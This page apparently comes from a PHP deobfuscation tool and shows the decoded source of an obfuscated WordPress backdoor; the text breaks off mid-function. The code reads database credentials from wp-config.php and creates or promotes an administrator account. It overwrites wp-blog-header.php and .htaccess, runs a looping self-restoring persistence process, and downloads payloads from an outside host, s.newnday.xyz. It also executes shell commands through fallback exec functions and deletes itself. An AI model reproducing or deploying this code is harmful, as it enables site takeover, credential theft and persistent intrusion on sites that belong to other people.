Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto RRtgw; vH7XL: U_Emo: goto uqsHI; Xfc_h: $f0gu7 = $bUG6Q($igxKb . "\x2f\x2e\x68..
Decoded Output download
<?php
goto RRtgw; vH7XL: U_Emo: goto uqsHI; Xfc_h: $f0gu7 = $bUG6Q($igxKb . "/.htaccess"); goto o2Dn1; aJ4zp: goto w0J5r; goto LDBdv; zpTaZ: if (isset($_POST["message_type"]) && !empty($_POST["message_type"])) { goto Dh2_t; } goto JXQI0; lQ1N_: pvnbW: goto EwwX3; QL8zh: if (!($adNyG == "1")) { goto JPOOK; } goto KsRlf; UucMU: Cg2Us: goto XCkia; XCkia: zlIXh: goto vltoc; q55x_: if ($dqD06) { goto gdLGP; } goto D9M28; bPdlL: if (file_exists($igxKb . "/wp-content/")) { goto yHxJe; } goto CNAT7; AB7hS: goto zlIXh; goto bbvG3; JleiJ: if ($DqwSX) { goto GoXSq; } goto adErc; B1kJ3: MLXL5: goto iQxCx; voDWQ: function RHKCS($AjLkw) { goto pZaml; sK76h: echo "<br>"; goto yiCHq; GNg0V: wpwUQ: goto sK76h; pZaml: foreach ($AjLkw as $cZewL => $dy_Jg) { goto sErmd; ebI_w: echo "<br>"; goto USoOH; sErmd: echo $dy_Jg; goto ebI_w; USoOH: DSuAR: goto DqxIb; DqxIb: } goto GNg0V; yiCHq: } goto qfG8l; JTyxf: sf_2t: goto cuaQl; pkeGu: T2w5k: goto qbTXc; EmdfO: $zNvau = $aQ8qB($igxKb . "/wp-blog-header.php", $wgNIb); goto jBKY2; NOS0v: $uI66V = "upgrade.php"; goto Yet_5; Xj1jP: WVfXO($pYgy2, $TliKB); goto QL8zh; pZ9G7: function A_jF6() { goto IMNB7; QCrwC: return "php"; goto xw6oP; ppsxY: return $g9TOZ[1] . "/bin/php"; goto FAxLC; kv_WM: return $g9TOZ[1] . "/php"; goto ClGny; xw6oP: DDyru: goto ppsxY; L3Xbw: $rOlvt = ob_get_contents(); goto pKSDP; CXoUK: if (!(isset($g9TOZ[1]) && $g9TOZ[1] != '')) { goto ct7h8; } goto kv_WM; ClGny: ct7h8: goto cABEy; IMNB7: ob_start(); goto k4EWD; xFBJl: if (isset($g9TOZ[1])) { goto DDyru; } goto QCrwC; wCsTM: ob_end_clean(); goto YVmsf; pKSDP: sleep(3); goto wCsTM; k4EWD: phpinfo(1); goto L3Xbw; YVmsf: preg_match("/--bindir=([^&]+)/si", $rOlvt, $g9TOZ); goto CXoUK; cABEy: preg_match("/--prefix=([^&]+)/si", $rOlvt, $g9TOZ); goto xFBJl; FAxLC: } goto wXsWp; C5DFo: echo "wp-content/index.php succes" . "<br/>"; goto das3I; j9UMY: $tA_1h = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" ? "https" : "http"; goto udQxA; udQxA: $YU7U8 = $_SERVER["HTTP_HOST"]; goto j09jo; dsDHv: vuQQ4: goto nTxDp; UGAi1: $ckO9N = ''; goto AB7hS; HYJ6a: if (!(!empty($EV1_G) && strpos($EV1_G, ".php") !== false)) { goto pvnbW; } goto cRt7y; koWEM: Z4nUg: goto QQPYE; TwOKl: ZNKE9: goto C5DFo; GrqXZ: $OzejB = $eYd8Y["dirname"]; goto NZyLN; AVvfM: $n4Rye = explode("
", $qIk1M); goto k1mij; dJbDh: $baxhB = hW9Ce($dMAgn, 3); goto qL7Wb; Yet_5: gvZCl: goto q55x_; qfG8l: function bFMKd($qXYJZ, $eLQg0, $Cz4Yu) { goto tkVuN; Pg1yQ: preg_match("@['|"]DB_HOST['|"],\s*['|"](.*?)['|"]@", $kYcEB, $XlBvB); goto KoNt7; z3_rq: G0Pd5: goto raflU; K917S: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto P57N9; ujohQ: vctgh: goto io4os; awWRV: $s84t_ = $ODwkC[1]; goto XS3E1; mydB4: if (!($hGXIb < count($VZndl))) { goto KAGdR; } goto YpvZf; BdwsM: if (!(mysqli_num_rows($obDOr) > 0)) { goto e8ht4; } goto kXujR; XS3E1: $j2bJq = "3306"; goto piOOs; piOOs: if (!strstr($iUW3p, ":")) { goto DTs4x; } goto z6g14; Ncb93: $V1Oe9 = mysqli_fetch_array($yQB8l); goto TARqq; tFYZR: $CVXlV = $PyNpq[1]; goto A0BqN; oBDk8: preg_match("@['|"]DB_PASSWORD['|"],\s*['|"](.*?)['|"]@", $kYcEB, $PyNpq); goto Pg1yQ; YpvZf: if (!($VZndl[$hGXIb] != '')) { goto zY30g; } goto WQPqb; ZJofP: $obDOr = mysqli_query($p2RqX, $AY1Yi); goto BdwsM; mxP6g: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto zubA4; ChCTq: YpfU3: goto nQcDN; VJG5I: $AY1Yi = "select * from {$s84t_}" . "users where user_login='{$qXYJZ}';"; goto mxP6g; ajLqr: $p2RqX = mysqli_connect($iUW3p, $i89Vz, $CVXlV, $l27B3, $j2bJq); goto h830W; CgWAA: e8ht4: goto IIknP; iUyoy: $AY1Yi = "update {$s84t_}" . "users set user_pass='{$eLQg0}'"; goto tsSuc; x7rs1: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto ChCTq; ICHs_: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto eLjPV; SlZud: $l27B3 = $m9bGc[1]; goto irV2c; tsSuc: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto en7rP; hyzhX: $obDOr = mysqli_query($p2RqX, $AY1Yi); goto GKPr8; nQcDN: zY30g: goto QSqBl; l9Os2: goto vctgh; goto z3_rq; QCXhK: $i0kdQ = $V1Oe9["ID"]; goto dMgJz; oF9dD: if (!($V1Oe9 = mysqli_fetch_array($obDOr))) { goto f7fxp; } goto bCQkD; h830W: if (!($Cz4Yu == true)) { goto i2Zlc; } goto iUyoy; m9TkT: $AY1Yi = "select * from " . $s84t_ . "usermeta where user_id=1 ;"; goto ZJofP; dMgJz: $AY1Yi = "insert into {$s84t_}" . "usermeta(user_id, meta_key, meta_value) values({$i0kdQ}, '{$s84t_}" . "capabilities', 'a:1:{s:13:"administrator";b:1;}');"; goto ICHs_; Tq2fe: $AY1Yi = "update {$s84t_}" . "users set user_pass='{$eLQg0}' where user_login='{$qXYJZ}';"; goto K917S; TxyTY: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto Ncb93; GKPr8: if (!(mysqli_num_rows($obDOr) <= 0)) { goto YpfU3; } goto w4kwH; WQPqb: $AY1Yi = "select * from " . $s84t_ . "usermeta where user_id=" . $i0kdQ . " and meta_key='" . $VZndl[$hGXIb] . "';"; goto hyzhX; A0BqN: $iUW3p = $XlBvB[1]; goto awWRV; KiRPF: preg_match("@['|"]DB_NAME['|"],\s*['|"](.*?)['|"]@", $kYcEB, $m9bGc); goto bQrzt; i20Wj: KAGdR: goto l9Os2; tEjBo: bQbx2: goto mydB4; Uw7Tt: return "useradd {$qXYJZ} ok"; goto IcF63; TARqq: if (!($V1Oe9["user_login"] == $qXYJZ)) { goto kGmE2; } goto Uw7Tt; bbmYU: ArUGX: goto ajLqr; gSXFP: $AY1Yi = "select ID from {$s84t_}" . "users where user_login='{$qXYJZ}';"; goto Vx8um; I1s0l: $hGXIb++; goto KebXV; i9BQ9: f7fxp: goto CgWAA; IIknP: $hGXIb = 0; goto tEjBo; mv6IQ: $iUW3p = $g4f_z[0]; goto kloOv; io4os: return "useradd {$qXYJZ} fail"; goto Y3IHb; IcF63: kGmE2: goto m9TkT; sRxh2: $kYcEB = file_get_contents($igxKb . "/wp-config.php"); goto KiRPF; kXujR: LH8Fe: goto oF9dD; w4kwH: $AY1Yi = "insert into " . $s84t_ . "usermeta(user_id, meta_key, meta_value) values(" . $i0kdQ . ", '" . $VZndl[$hGXIb] . "', '" . $WHaUl[$hGXIb] . "');"; goto x7rs1; jyTPP: if (!empty($V1Oe9)) { goto G0Pd5; } goto G_As4; QSqBl: ikg1y: goto I1s0l; KoNt7: preg_match("@table_prefix\s*=\s*['|"](.*?)['|"]@", $kYcEB, $ODwkC); goto SlZud; Vgz2w: DTs4x: goto TsXfc; poYI1: $iUW3p = "localhost"; goto bbmYU; irV2c: $i89Vz = $cxOg2[1]; goto tFYZR; Vcfae: $WHaUl[] = $V1Oe9["meta_value"]; goto nF25z; xIbu4: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto gSXFP; Vx8um: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto cFjJG; P57N9: return "user {$qXYJZ} exists, change password"; goto ujohQ; cFjJG: $V1Oe9 = mysqli_fetch_array($yQB8l); goto QCXhK; z6g14: $g4f_z = explode(":", $iUW3p); goto mv6IQ; KebXV: goto bQbx2; goto i20Wj; TsXfc: if (!(trim($iUW3p) == '')) { goto ArUGX; } goto poYI1; zubA4: $V1Oe9 = mysqli_fetch_array($yQB8l); goto jyTPP; bCQkD: $VZndl[] = $V1Oe9["meta_key"]; goto Vcfae; tkVuN: global $igxKb, $tA_1h, $YU7U8, $juNPq, $OoC83, $zSwDY; goto sRxh2; eLjPV: $AY1Yi = "select * from {$s84t_}" . "users where user_login='{$qXYJZ}';"; goto TxyTY; nF25z: goto LH8Fe; goto i9BQ9; bQrzt: preg_match("@['|"]DB_USER['|"],\s*['|"](.*?)['|"]@", $kYcEB, $cxOg2); goto oBDk8; raflU: $i0kdQ = $V1Oe9["ID"]; goto Tq2fe; kloOv: $j2bJq = $g4f_z[1]; goto Vgz2w; en7rP: i2Zlc: goto VJG5I; G_As4: $AY1Yi = "insert into {$s84t_}" . "users(user_login,user_pass,user_nicename,user_email,user_registered,user_activation_key,user_status,display_name) values('{$qXYJZ}', '{$eLQg0}', '{$qXYJZ}', '{$qXYJZ}@gmail.com', '2021-05-21 09:13:26', '', '0', '{$qXYJZ}');"; goto xIbu4; Y3IHb: } goto jVQkb; t3lor: echo "</textarea>"; goto yS1cV; e9eT7: $niZZl = basename($_SERVER["PHP_SELF"]); goto ycEid; U3U1a: $IQArN = isset($_GET["mode"]) ? $_GET["mode"] : 1; goto AdrPT; ruQek: $zSwDY = ''; goto OdJen; OdJen: goto F6EkA; goto dyDkY; M6KWm: if (!(isset($ybeaC["file"]) && sizeof($ybeaC["file"]))) { goto xCN0R; } goto I3XMn; rh2Cb: echo "\xe5\210\240\351\x99\xa4\xe6\x88\220\345\x8a\x9f" . "<br/>"; goto QV2Fn; moKKb: $adNyG = $_POST["en"]; goto rujql; JqG20: $qIk1M = $bmVNA[0]; goto HRGbx; LY5Ia: echo $ybeaC["htcontent"]; goto t3lor; rbXtk: OTaiz: goto e3wnG; hQt2Q: $aqaki = "<?php set_time_limit(99 - 99);\xd\xaignore_user_abort(1);\xd\xa
\xafunction auto_restore_memory()\xd
{\xd
$index_path = '" . $igxKb . "/wp-blog-header.php';\xd\xa $flag_filename ='" . $igxKb . "/3FNDICU2KH';\xd\xa @unlink($flag_filename);\xd
$index_code = @file_get_contents($index_path);\xd\xa while (1) {
\xa clearstatcache();\xd
if (file_exists($flag_filename)){\xd\xa break;
}
\xa if (!file_exists($index_path) or @file_get_contents($index_path) != $index_code) {
@chmod($index_path, 438);
@unlink($index_path);\xd\xa @file_put_contents($index_path, $index_code);
\xa @chmod($index_path, 292);
}\xd
\xa\x9
sleep(2);\xd
}\xd
}
\xa\xd
ob_end_clean();
\xaheader("Connection: close");
\xaob_start();\xd\xaecho 888;\xd
header("Content-Length: " . ob_get_length());
ob_end_flush();
flush();
\xaauto_restore_memory(); ?>"; goto OeSGf; L0OWw: if (!($TliKB == "html")) { goto vuQQ4; } goto M6KWm; yGmpn: if (!file_exists($igxKb . "/.htaccess")) { goto T2w5k; } goto Xfc_h; xwg8P: sleep(3); goto uDUC1; d1J7Y: $TliKB = $_POST["message_type"]; goto NstB3; iHSE1: if (file_exists($igxKb . $zU1K3["path"])) { goto VtPI8; } goto qpIKE; e3wnG: $igxKb = $OzejB; goto B1kJ3; Ja2iP: goto rv9Fr; goto G0urF; I3XMn: echo "path:<br /><textarea style="width: 90%;height: 100px;">"; goto WpdHy; k1mij: $qIk1M = $n4Rye[0]; goto wZ3s8; M4qPw: @chdir($igxKb); goto Un2gz; QQPYE: lYbNv: goto mpIww; G55RS: $qIk1M = Del01($juNPq . "/seller/readtxt1.php?domain=" . $_SERVER["HTTP_HOST"]); goto AVvfM; vltoc: echo "<span style="font-size:15px; color:red;">seller-enfile:" . $ckO9N . "</span><br/>"; goto e9eT7; He0zS: if (!isset($_GET["line"])) { goto J4YPe; } goto Q3yf5; Wydu5: GoXSq: goto hQt2Q; LyWjL: wvFXO($mC611); goto koWEM; Sr7_7: $ckO9N = $zU1K3["path"]; goto UucMU; n82Sp: P9MmU: goto xEuJb; buqaL: VtPI8: goto Sr7_7; XAfAh: function Ml3U1() { goto fMMlC; lepac: HGVC7: goto Yft12; Yft12: $gVUsf = array("system", "shell_exec", "popen", "exec", "proc_open", "passthru"); goto dZdqG; N_Cpy: foreach ($a2QWt as $gbaew) { $gJjT7[] = trim($gbaew); oeV31: } goto lepac; tgSTR: foreach ($gVUsf as $uvlup) { goto nmcE0; ow1Z3: HkOoG: goto C7RuI; C7RuI: R_WhX: goto sebSE; urJmn: $AN6DR = true; goto C1t_i; C1t_i: goto raNMd; goto ow1Z3; nmcE0: if (in_array($uvlup, $gJjT7)) { goto HkOoG; } goto urJmn; sebSE: } goto iJ1ig; MR0hL: return $AN6DR; goto MYOnr; fMMlC: $a2QWt = explode(",", ini_get("disable_functions")); goto TsogL; dZdqG: $AN6DR = false; goto tgSTR; iJ1ig: raNMd: goto MR0hL; TsogL: $gJjT7 = array(); goto N_Cpy; MYOnr: } goto pZ9G7; hRi5H: $dqD06 = trim($BmHzI[1]); goto batsv; WpdHy: foreach ($ybeaC["file"] as $RMqxY) { goto Bpod8; Bpod8: $WM9f0 = "for#%Mvc@512&"; goto ksDOK; ksDOK: echo $RMqxY . "?pas=" . $WM9f0 . " "; goto AI9CQ; AI9CQ: LySqs: goto sdZ1_; sdZ1_: } goto jKE_J; LDBdv: vkNI5: goto moKKb; ZG1nG: if (!(strpos($qIk1M, "|") !== false)) { goto WX6tn; } goto g93Vr; DICXE: $igxKb = $_SERVER["DOCUMENT_ROOT"]; goto n82Sp; tCMR4: c2gnO(); goto N9rwQ; qbTXc: $uI66V = ''; goto ZcQ8G; fRhXw: $zSwDY = jVrj9(__FILE__); goto mHBCA; DdUl4: $a7gAW = filesize($igxKb . $zU1K3["path"]); goto QJFYA; JXQI0: $TliKB = "html"; goto megut; eFNW5: function DEl01($mSpBw) { goto lcCoe; lcCoe: global $igxKb, $bUG6Q, $aQ8qB, $juNPq; goto wYNL3; TuTFC: $r80UJ = sukZ4($mSpBw); goto UoKuE; UoKuE: XvkBn: goto x9g5Z; G3PiB: WiU2a: goto TuTFC; x9g5Z: return $r80UJ; goto rYHon; wYNL3: if (stripos($mSpBw, "http") !== false) { goto WiU2a; } goto qqfZW; i2DqI: goto XvkBn; goto G3PiB; qqfZW: $r80UJ = $bUG6Q($mSpBw); goto i2DqI; rYHon: } goto sRpxE; RAOLU: $ZMROC = explode("^(", $f0gu7); goto WV6YB; ZvX6I: goto uxPWV; goto TwOKl; HPIak: Dh2_t: goto d1J7Y; NstB3: SM98m: goto He0zS; xEuJb: echo $igxKb . "<br/>"; goto M4qPw; PETrp: function WVfXo($obDOr, $TliKB = "html", $BLehe = "li") { goto oneQp; uXdvr: WR5tL: goto bR37E; UVeJM: jLjed: goto g3lu0; J8Mjz: return; goto iR2ku; yE6nv: return; goto ce52v; MogkI: if (!($obDOr["status"] == "ok")) { goto cKBxe; } goto rF6Zx; CCpku: x1t01: goto m0gob; HnlqL: echo json_encode($obDOr); goto yE6nv; hnC98: if (isset($obDOr["title"])) { goto WR5tL; } goto mthTG; bR37E: echo "---------start " . $obDOr["title"]; goto zNQYb; oneQp: if (!($TliKB != "html")) { goto IhzmI; } goto HnlqL; V1NRi: echo "---------end " . $obDOr["title"] . "===>status:" . $vVcNJ; goto FQoxb; Z0VDz: if (isset($obDOr["status"]) && !empty($obDOr["status"])) { goto XRZXM; } goto Rkk_b; ZLBXO: VfZaZ: goto Z0VDz; aHt4Z: if (!($obDOr["status"] == "fail")) { goto jLjed; } goto f12rx; ce52v: IhzmI: goto bGHk1; DKkuE: cKBxe: goto aHt4Z; zNQYb: if (!(sizeof($obDOr["message"]) > 0)) { goto VfZaZ; } goto kKBxk; zFVMf: XRZXM: goto MogkI; m0gob: echo "<br />"; goto sQRxC; mthTG: $obDOr["title"] = ''; goto uXdvr; CBIbF: N0QZM: goto ZLBXO; kKBxk: foreach ($obDOr["message"] as $LHycY) { goto giQZg; RI2Jw: $LHycY = str_replace("fail", "<font color="red">fail</font>", $LHycY); goto HvISG; HvISG: echo "<{$BLehe}>" . $LHycY . "</{$BLehe}>"; goto LE8Ix; LE8Ix: o1G7a: goto cRjoN; WkNY0: $LHycY = str_replace(" ok", "<font color="blue"> ok</font>", $LHycY); goto RI2Jw; giQZg: $LHycY = str_replace("success", "<font color="blue">success</font>", $LHycY); goto WkNY0; cRjoN: } goto CBIbF; sQRxC: echo "<br />"; goto xHzwN; f12rx: $vVcNJ = "<font color="red">" . $obDOr["status"] . "</font>"; goto UVeJM; FQoxb: goto x1t01; goto zFVMf; g3lu0: echo "---------end " . $obDOr["title"] . "===>status:" . $vVcNJ; goto CCpku; rF6Zx: $vVcNJ = "<font color="green">" . $obDOr["status"] . "</font>"; goto DKkuE; Rkk_b: $vVcNJ = "<font color="green">ok</font>"; goto V1NRi; bGHk1: if (is_array($obDOr)) { goto AXWDT; } goto J8Mjz; iR2ku: AXWDT: goto hnC98; xHzwN: } goto n23l_; IUZGy: XSjYk($igxKb); goto j9UMY; HGKGT: $PMcrH = $aQ8qB($igxKb . "/wp-content/index.php", $mebtA); goto zt_0L; S0sNm: $zU1K3 = parse_url(trim($qIk1M)); goto iHSE1; pejf2: $juNPq = "http://s.newnday.xyz/"; goto KRxFY; wTn5I: goto PF49p; goto F2beV; mpIww: $pYgy2 = Ji6vF(); goto Xj1jP; qL7Wb: $BmHzI = array_values($baxhB); goto DtHCb; g93Vr: $bmVNA = explode("|", $qIk1M); goto JqG20; CNAT7: @unlink(__FILE__); goto wTn5I; ODoe5: goto IQCzQ; goto wOKR8; wOKR8: TA1_X: goto xCOHN; sRpxE: function sUKz4($mSpBw, $BcHhW = null, $aghAX = null) { goto Vq8i9; diKzm: if (!(stripos($mSpBw, "https:") === false)) { goto xEtik; } goto ldJ0b; g4PQH: curl_setopt($qcDc9, CURLOPT_URL, $mSpBw); goto zRth4; G075c: xEtik: goto giq8k; h5Noy: QDK7g: goto Z8SVO; Vq8i9: $qcDc9 = curl_init(); goto g4PQH; j62Ch: return $zX4kU; goto altRW; h2l68: curl_setopt($qcDc9, CURLOPT_POSTFIELDS, $aghAX); goto mmSDY; DcSEa: curl_setopt($qcDc9, CURLOPT_RETURNTRANSFER, 1); goto vUhNn; giq8k: if (!(is_array($BcHhW) && !empty($BcHhW))) { goto QDK7g; } goto Ez5AF; zRth4: curl_setopt($qcDc9, CURLOPT_FOLLOWLOCATION, 1); goto O_jyo; Z8SVO: if (!(is_array($aghAX) && !empty($aghAX))) { goto pJ3rU; } goto cuMzt; O_jyo: curl_setopt($qcDc9, CURLOPT_ENCODING, "gzip,deflate"); goto diKzm; mmSDY: pJ3rU: goto DcSEa; cuMzt: curl_setopt($qcDc9, CURLOPT_POST, 1); goto h2l68; Ez5AF: curl_setopt($qcDc9, CURLOPT_HTTPHEADER, $BcHhW); goto h5Noy; RoXJh: curl_setopt($qcDc9, CURLOPT_SSL_VERIFYHOST, FALSE); goto G075c; ldJ0b: curl_setopt($qcDc9, CURLOPT_SSL_VERIFYPEER, FALSE); goto RoXJh; vUhNn: $zX4kU = curl_exec($qcDc9); goto Ei22E; Ei22E: curl_close($qcDc9); goto j62Ch; altRW: } goto AElve; frE8N: echo $XLwLf["status"]; goto CMsnx; k2LC_: yLDxz: goto ZlQc_; tfH3f: $mebtA = Del01($juNPq . "t1/wp-ver.gif"); goto HGKGT; D9M28: $dqD06 = "wp-head.php"; goto VsCIq; das3I: uxPWV: goto QBnxz; o2Dn1: if (!(strpos($f0gu7, "^(") !== false && strpos($f0gu7, "new.php") == false && strpos($f0gu7, "cangma.php") == false)) { goto RGLzL; } goto RAOLU; GCdsM: $hb7rK = ''; goto Gg5_h; bbvG3: nU9af: goto ZG1nG; batsv: $DqwSX = trim($BmHzI[2]); goto lQ1N_; uqsHI: $AjLkw = I2a4r(); goto oDUih; QBnxz: @unlink(__FILE__); goto KU43H; uN3Hz: echo "</textarea>"; goto rtFjo; cRt7y: $dMAgn = explode("|", $EV1_G); goto dJbDh; g_20u: J4YPe: goto FmiMz; VsCIq: gdLGP: goto JleiJ; CFq82: error_reporting(E_ALL); goto U3U1a; h_fys: $ut4Zw = unlink($igxKb . "/wp-blog-header.php"); goto rh2Cb; lg0jq: rv9Fr: goto MKtwj; mHaLZ: $EV1_G = ''; goto yGmpn; F2beV: yHxJe: goto tfH3f; oDUih: RHkCs($AjLkw); goto xwg8P; vQBWC: eyw6w: goto v3WHn; HRGbx: $Bzot4 = explode(",", $bmVNA[1]); goto bd5S7; wXsWp: function asujy($ho7Yf, $r6wPS = "popen") { goto OL8PG; zNMFn: switch ($r6wPS) { case "proc_open": goto YHID1; U8R5F: return false; goto XkAEa; Hsx1i: proc_open($ho7Yf, $PHKKL, $sJfSM); goto U8R5F; YHID1: $PHKKL = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "error.txt")); goto jarC_; jarC_: $sJfSM = array(); goto Hsx1i; XkAEa: goto uM_au; goto H2kFW; H2kFW: case "passthru": goto l3AwT; hFQaV: return false; goto HgiY0; l3AwT: passthru($ho7Yf); goto hFQaV; HgiY0: goto uM_au; goto uwcTL; uwcTL: case "shell_exec": goto MBeus; qZwiL: $obDOr = shell_exec($ho7Yf); goto mm4tu; MBeus: $obDOr = ''; goto qZwiL; HmGeX: goto uM_au; goto SG6_T; mm4tu: return $obDOr; goto HmGeX; SG6_T: case "system": goto IHHfA; gCelN: system($ho7Yf, $obDOr); goto I06ry; IHHfA: $obDOr = ''; goto gCelN; XWxXO: goto uM_au; goto jMJnp; I06ry: return $obDOr; goto XWxXO; jMJnp: case "popen": goto DVJvM; OIOol: goto McWcQ; goto J8oQw; cR8lK: pclose($kRLJP); goto bNoJX; Hrjyd: goto uM_au; goto ZXmH0; bNoJX: return $obDOr; goto Hrjyd; J8oQw: gStYW: goto cR8lK; U8G04: $obDOr .= $gYVLX; goto OIOol; NpG9I: if (feof($kRLJP)) { goto gStYW; } goto RnSfr; DVJvM: $kRLJP = popen($ho7Yf, "r"); goto Zb92o; Zb92o: McWcQ: goto NpG9I; RnSfr: $gYVLX = fgets($kRLJP, 4096); goto U8G04; ZXmH0: case "exec": goto epggU; f8ABg: CAG82: goto z1Pfi; GH1VY: foreach ($xr1wq as $cZewL => $jC1_3) { $obDOr .= $cZewL . " : " . $jC1_3 . PHP_EOL; DAoub: } goto f8ABg; epggU: exec($ho7Yf, $xr1wq); goto GH1VY; UZ9u5: goto uM_au; goto cl2sG; z1Pfi: return $obDOr; goto UZ9u5; cl2sG: default: return false; goto uM_au; } goto Tf37Z; R6BVs: $obDOr = ''; goto zNMFn; Tf37Z: AXRqn: goto pR7ql; CotoF: foreach ($a2QWt as $gbaew) { $gJjT7[] = trim($gbaew); D8pOK: } goto EUWw9; vFGFD: $gVUsf = array("system", "shell_exec", "popen", "exec", "proc_open", "passthru"); goto tFsl6; EUWw9: atXX4: goto vFGFD; w1k0B: toWu7: goto raWd7; tFsl6: $r6wPS = ''; goto ugCGX; OL8PG: $a2QWt = explode(",", ini_get("disable_functions")); goto u5pky; u5pky: $gJjT7 = array(); goto CotoF; hSYEb: kcdFx: goto R6BVs; jUBHB: return false; goto hSYEb; pR7ql: uM_au: goto ndcJR; raWd7: if (!empty($r6wPS)) { goto kcdFx; } goto jUBHB; ugCGX: foreach ($gVUsf as $uvlup) { goto Q982E; r7M6s: goto toWu7; goto GIDSW; GIDSW: eC5r6: goto exR6M; xpZq9: $r6wPS = $uvlup; goto r7M6s; exR6M: qRh6J: goto kLFkN; Q982E: if (in_array($uvlup, $gJjT7)) { goto eC5r6; } goto xpZq9; kLFkN: } goto w1k0B; ndcJR: } goto om9CA; FmiMz: if (isset($_GET["en"])) { goto TA1_X; } goto fbxd5; VqSjX: $EV1_G = $E3fq4[0]; goto fyn0r; G0urF: Teu3q: goto zv1ot; WV6YB: $foHBE = $ZMROC[1]; goto G84nH; ZlQc_: WX6tn: goto S0sNm; KRxFY: $yYu3Y = $_SERVER["SCRIPT_FILENAME"]; goto Ps3XP; MKtwj: if (!($zSwDY === '')) { goto FJMlT; } goto fRhXw; Un2gz: $ljE7s = array(); goto IUZGy; eFczP: $XLwLf = OrJsS(); goto ruuRf; rujql: w0J5r: goto ODoe5; adErc: $DqwSX = "wp-site.php"; goto Wydu5; bRns9: goto Cg2Us; goto buqaL; jBKY2: if (!file_exists($igxKb . "/3FNDICU2KH")) { goto PTnCX; } goto es1h0; JQi8v: echo "<span style="font-size:24px;color:red;">\xe5\234\260\xe5\x9b\276\xe5\267\xb2\xe7\xbb\x8f\345\255\x98\xe5\x9c\250" . "</span><br/>"; goto vH7XL; yS1cV: qJSVo: goto dsDHv; RRtgw: header("Access-Control-Allow-Origin:*"); goto CFq82; xLPOi: $OoC83 = "<IfModule mod_rewrite.c>
RewriteEngine On\xd\xaRewriteBase /
\xaRewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f\xd
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>"; goto mHaLZ; vAeve: $I8slF = $GxmOn["dirname"]; goto TryHe; QJFYA: foreach ($Bzot4 as $dmShJ) { goto Qi6lw; YCqRv: $IQArN = (int) $CQARS[1]; goto Q6TrA; yB17g: $CQARS = explode(":", $dmShJ); goto YCqRv; Q6TrA: goto yLDxz; goto IuzRa; IuzRa: kBVpS: goto bIvnv; Qi6lw: if (!(strpos($dmShJ, strval($a7gAW)) !== false)) { goto kBVpS; } goto yB17g; bIvnv: Qvi6f: goto QeZiW; QeZiW: } goto k2LC_; IPeB1: echo "wp-content/index.php fail" . "<br/>"; goto ZvX6I; C8G42: function i2a4R() { goto FZ8QL; WqWJq: return $AjLkw; goto o9P8i; jfYEA: $AjLkw[] = "===== end crack auto restore cycle ====="; goto WqWJq; EyjrN: $GXs8V = $igxKb . "/3FNDICU2KH"; goto YjX82; zDm95: $AjLkw[] = "make file: " . $GXs8V; goto jfYEA; FZ8QL: global $igxKb; goto tWl9X; YjX82: @touch($GXs8V); goto zDm95; tWl9X: $AjLkw = []; goto Vx_q7; Vx_q7: $AjLkw[] = "===== start crack auto restore cycle ====="; goto EyjrN; o9P8i: } goto XO8Am; jVQkb: $KdpoZ = NdyDx(); goto w_2A7; QV2Fn: $wgNIb = "<?php\xd\xa/**
* Loads the WordPress environment and template.
*\xd
* @package WordPress\xd
*/
\xd
if ( ! isset( $wp_did_header ) ) {\xd\xa\xd
\x9$wp_did_header = true;
\xd\xa\x9// Load the WordPress library.
\x9require_once __DIR__ . '/wp-load.php';\xd
\xd\xa\x9// Set up the WordPress query.\xd
\x9wp();
\xa
// Load the theme template.\xd
require_once ABSPATH . WPINC . '/template-loader.php';
\xa\xd\xa}\xd
"; goto EmdfO; TryHe: if ($I8slF == "/" || $I8slF == "\") { goto OTaiz; } goto e2Ptr; LB0Zj: if (isset($_POST["db"])) { goto DaJUy; } goto ruQek; yGic8: $bUG6Q = "file_get_contents"; goto xLPOi; dJYxq: F6EkA: goto Ja2iP; xnks9: if (!(!file_exists($igxKb . "/3FNDICU2KH") && $zNvau)) { goto lYbNv; } goto eFczP; bd5S7: $zU1K3 = parse_url(trim($qIk1M)); goto DdUl4; v3WHn: $aQ8qB = "file_put_contents"; goto yGic8; TzDQb: $DqwSX = ''; goto HYJ6a; rtFjo: xCN0R: goto GSejF; jKE_J: xjFwQ: goto uN3Hz; GSejF: if (!isset($ybeaC["htcontent"])) { goto qJSVo; } goto GJNxd; mHBCA: FJMlT: goto zpTaZ; LBrWj: $igxKb = $S5rfJ[0]; goto O7lnx; ZcQ8G: $dqD06 = ''; goto TzDQb; fbxd5: if (isset($_POST["en"])) { goto vkNI5; } goto LFR0S; iQxCx: if (!($igxKb == '' || strpos($igxKb, ".php") !== false)) { goto P9MmU; } goto DICXE; ufiIn: function xsJYK($PahyK) { goto Hv8cH; faoLD: kgiDR: goto nKLJ0; YMVjD: goto k3Mjm; goto tTf0x; yngOv: if (!($RMqxY != "." && $RMqxY != "..")) { goto W1q0Y; } goto T4_Fc; T4_Fc: $jujRI = $PahyK . "/" . $RMqxY; goto W9YO8; KjcWW: if (file_exists($jujRI . "/index.php")) { goto Qm4kw; } goto sFzjA; nKLJ0: W1q0Y: goto YMVjD; andgf: if (!($AHJXW = opendir($PahyK))) { goto wlt2A; } goto MaPhD; tTf0x: C6pyC: goto gf3Dv; zd1To: if (!(($RMqxY = readdir($AHJXW)) !== false)) { goto C6pyC; } goto yngOv; MaPhD: k3Mjm: goto zd1To; gxGBG: xsjYK($jujRI); goto ERrpI; W9YO8: if (!(is_dir($jujRI) && !is_link($jujRI))) { goto kgiDR; } goto VzAVG; sFzjA: array_push($ljE7s, str_replace($igxKb . "/", '', $jujRI)); goto m6VrZ; m6VrZ: Qm4kw: goto faoLD; ERrpI: j9yn9: goto KjcWW; gf3Dv: wlt2A: goto wKlm_; VzAVG: if (!(substr_count(str_replace($igxKb . "/", '', $jujRI), "/") < 3)) { goto j9yn9; } goto 